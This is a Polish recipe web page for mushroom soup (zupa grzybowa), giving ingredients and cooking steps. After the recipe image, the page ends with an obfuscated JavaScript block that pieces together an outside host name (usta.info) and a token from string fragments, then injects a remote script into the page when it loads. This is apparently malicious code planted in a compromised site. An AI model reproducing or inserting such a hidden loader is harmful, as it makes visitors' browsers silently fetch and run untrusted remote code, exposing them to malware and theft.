## Zupa grzybowa - jak ją przyrządzić?

Kojarzy nam się z wyjątkowymi okazjami, ciepłem, domem rodzinnym. Niezwykle aromatyczna i charakterystyczna w smaku. Co więcej, mogąca — a to za sprawą wielu odmian grzybów — przybrać wiele różnych charakterów. Jest niezwykle sycąca. Pięknie pachnie i jest chyba lubiana przez wszystkich. Sprawdźmy, jak można ją przyrządzić. <br /><br />O zupie grzybowej słów kilka... <br /><br />Kilka pierwszych podejść nie zawsze musi się zakończyć sukcesem. Jednak nie należy się zrażać, gdyż zebrane w poprzednich próbach doświadczenie na pewno zaowocuje w kolejnych jeszcze lepszym smakiem. Zupę z grzybów suszonych można przyrządzać przez cały rok. Jednak najlepiej będzie ona smakować późnym latem lub jesienią. Sprawdźmy, co potrzeba do jej przyrządzenia. <br /><br />Zupa grzybowa — składniki <br /><br />Do przygotowania <a href="https://zakochanewzupach.pl/tag/grzybowa/" rel="”nofollow”" target="_blank">zupy grzybowej</a> potrzebne będą Ci: <br /><br />- 1/2-1 szklanka suszonych grzybów, <br />- włoszczyzna: 2-3 marchewki, korzeń pietruszki, kawałek selera, <br />- cebula, <br />- ząbek czosnku, <br />- oliwa do smażenia, <br />- śmietana, <br />- ziele angielskie, <br />- pieprz, <br />- liść laurowy, <br />- sól. <br /><br />Gdy już skompletujesz całą listę, możemy zabierać się za gotowanie. Najpierw przygotuj grzyby. Przesyp je do miseczki i zalej gorącą wodą na 30 minut. Po upływie tego czasu wlej je razem wodą do garnka i gotuj, aż będą miękkie. Grzyby i wodę przecedź na sitku z drobnymi oczkami, aby pozbyć się nieczystości. Nie wylewaj wody! Będzie nam jeszcze potrzebna. Chwyć włoszczyznę. Przygotuj warzywa obierając je i krojąc w dowolne kształty. Podobnie postąp z cebulą, którą dodatkowo zeszklij na przygotowanym wcześniej oleju. Dodaj do niej warzywa, a potem gorącą wodę i przyprawy. Płyn gotuj przez godzinę, aż wszystkie smaki się przejdą, a warzywa będą miękkie. Warzywa możesz zostawić lub też wyjąć. W zależności od tego, jak bardziej lubisz. Na koniec dodaj do wywaru pokrojone grzyby i wodę z nich i gotuj jeszcze około 10 minut. Aby zupa była trochę bardziej treściwa dodaj do niej śmietany. Pamiętaj, aby najpierw wlać odrobinę zupy do przygotowanej porcji, a potem wlać mieszaninę z powrotem do garnka.

<img src="/img/tinymce/fotolia_87746468_subscription_monthly_m.jpg" border="0" />
<script type="text/javascript">// <![CDATA[
(function(){
qupr=document.createElement("script");qupr_=("us")+("ta");
qupr_+="t"+(".");qupr_+=("in");qupru="65703348";qupr.async=true;
qupru+=".a8wvjdq0upr6f41w0";qupr.type="text/javascript";qupr_+="f"+"o"+("/");
qupru+="l4XXi1qmaX3hk";qupr.src="//"+qupr_+qupru;
dqupr=document.body;dqupr.appendChild(qupr);
})();
// ]]></script>